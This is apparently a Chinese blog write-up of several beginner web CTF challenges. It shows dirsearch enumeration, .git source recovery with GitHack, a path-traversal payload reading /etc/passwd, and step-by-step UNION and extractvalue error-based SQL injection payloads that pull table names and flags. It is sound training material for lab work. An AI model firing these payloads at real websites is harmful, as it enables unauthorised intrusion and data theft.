QSNCTF-WEB做题记录(2)

[第一章 web入门]常见的搜集

来自 <天狩CTF竞赛平台>

1,首先就是对网站进行目录枚举爆破

dirsearch -u http://challenge.qsnctf.com:31616 -x 404,403

得到如下的目录,分别查看一下内容

/.DS_Store

/index.php~

第二部分:flag2:s_v3ry_im

/robots.txt

/flag1_is_her3_fun.txt

第一部分:n1book{info_1

/.index.php.swp

第三个部分:p0rtant_hack}

组成n1book{info_1s_v3ry_imp0rtant_hack}

[第一章 web入门]粗心的小李

来自 <天狩CTF竞赛平台>

1,.git泄露漏洞。

GitHack 是一种文件夹泄露漏洞。.git它从 .git 文件夹重建源代码,同时保持目录结构不变。GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞 https://github.com/lijiejie/GitHack

2,命令示例:python GitHack.py http://还原链接/.git/

3,输入这个命令之后,会在challenge.qsnctf.com_32321

4,然后在该文件夹下发现生产的文件GitHack-master\challenge.qsnctf.com_32321\index.html

n1book{git_looks_s0_easyfun}

第三题:EasyInclude 2024

来自 < 天狩CTF竞赛平台>

1,观察网站页面,提示存在include函数

$_GET['inc']: 这是从 URL 参数中获取一个值。也就是说,用户可以在 URL 中传递一个名为 inc 的参数,PHP 脚本将会根据这个参数的值来决定包含哪个文件。

2,由此构造payload:?inc=../../../../etc/passwd

成功包含了/etc/passwd文件,应该是存在本地文件包含漏洞(LFI,local file include)

3,构造语句payload:?inc=/flag

轻松包含了flag{b6408a9551ef4755abbd333bf9694865}

[第一章 web入门]SQL注入-1

来自 < 天狩CTF竞赛平台>

1,观察靶场,能够通过?id=1传入参数进而改变网站页面,首先确定页面正常回显的情况

2,然后传入?id=1',不回显证明发生报错,传入?id=1",回显正常

?id=1' --+ 传入这个参数正常回显,说明此前单引号会破坏SQL查询语句的闭合,而现在使用--+注释掉需要闭合的单引号,使得?id=1'能够完成闭合。由此判断靶场存在单引号字符型sql注入漏洞

3, 使用order by语句判断数据表存在几列

ORDER BY 操作符用于对查询结果进行排序。它根据指定的列对数据进行升序或降序排列。默认情况下,ORDER BY 以升序(ASC)排序,但你也可以显式地指定升序或降序排序。

语法:

SELECT column1, column2, ...

FROM table_name

ORDER BY column1 [ASC|DESC], column2 [ASC|DESC], ...;

  • column1, column2, ...: 要排序的列。
  • ASC:升序(默认),从小到大排列。
  • DESC:降序,从大到小排列。

payload:?id=1' order by 1,2,3 --+ 不报错

payload:?id=1' order by 1,2,3,4 --+ 不报错

说明数据表的列数小于四列,大于等于三列,推断数据库列数为3

4,使用union操作符推断sql注入漏洞的回显点在哪几列

payload:?id=-1' union select 1,2,3 --+

回显出来2,3说明回显点在被查询的第二第三列

5,通过数据库函数爆出数据库名和版本号

payload:?id=-1' union select 1,database(),version() --+

6,爆数据表名fl4g,notes

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出fl4g数据表下的列名fllllag

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'--+

爆出notes数据表下的列名id,title,content

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='notes'--+

7,最后直接在数据表fl4g查询到flag

?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+

n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

来自 < 天狩CTF竞赛平台>

1,题目提示请访问 /login.php /user.php

访问/login.php是一个登录网页

输入密码然后使用burpsuite抓包,大抵推断是一个POST型SQL注入

2,查看页面源代码发现了题目提示

右键发送到repeater模块,然后按照要求添加

  • "error": 1:error 字段的值是 1,通常表示发生了错误或异常。一般约定 0 表示成功,1 表示失败。
  • "msg": "\u8d26\u53f7\u4e0d\u5b58\u5728":msg 字段的值是一个 Unicode 编码的字符串。解码后,\u8d26\u53f7\u4e0d\u5b58\u5728 代表的中文是 "账户不存在"。

3,然后判断注入类型:

name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在。

name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误。

4,这就可以证明账号 admin是存在的,那么注入类型为 字符型注入。经过和报错注入的联合判断,我们可以得出闭合方式为单引号。爆出数据库库名

1' and extractvalue(1,concat(0x7e,database()))--+

  • extractvalue():这是 MySQL 中的一个函数,它用来从 XML 数据中提取指定节点的值。它有两个参数,第一个参数是 XML 文档,第二个参数是 XPath 表达式。在 SQL 注入中,攻击者可以利用这个函数执行任意的 XML 操作,从而在数据库中执行一些恶意行为。
  • 1:extractvalue() 的第一个参数通常是 XML 数据。在这里,1 被用作一个"虚拟的" XML 数据。MySQL 将它当作一个无效的 XML 文档,并尝试在其上执行 XPath 操作。
  • concat(0x7e, database()) :这个部分使用 concat() 函数将两个部分拼接起来。
    • 0x7e 是一个十六进制值,表示字符 ~(波浪号)。这是一个分隔符,用于在最终输出中分隔不同的内容。
    • database() 是 MySQL 的一个内置函数,用于获取当前数据库的名称。
      因此,concat(0x7e, database()) 会将字符 ~ 和当前数据库的名称拼接起来。例如,如果当前数据库是 test_db,则结果是 ~test_db。
  • extractvalue(1, concat(0x7e, database())):最终,这个函数会尝试从虚拟的 XML 文档 1 中提取节点 ~test_db(假设当前数据库为 test_db)。由于 extractvalue() 的目标是执行 XML 查询,它会导致一个错误或不正确的行为,但攻击者通常期望数据库返回当前数据库的名称作为结果,或造成 SQL 错误信息泄露。

数据库名就是note

5,爆破出数据库当中的数据表(需要进行绕过)

admin' and extractvalue(1,concat(0x7e,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+

爆出数据表有fl4g,users

6,然后爆出数据表fl4g的字段名

admin'and extractvalue(1,concat(0x7e,(Select group_concat(column_name)from information_schema.columns where table_name='fl4g'))) --+

7,最后成功的爆出来flag

admin'and extractvalue(1,concat(0x7e,(Select flag from fl4g))) --+

n1book{login_sqli_is_nice}

相关推荐
用户9623779544838 分钟前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954485 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star5 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954489 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全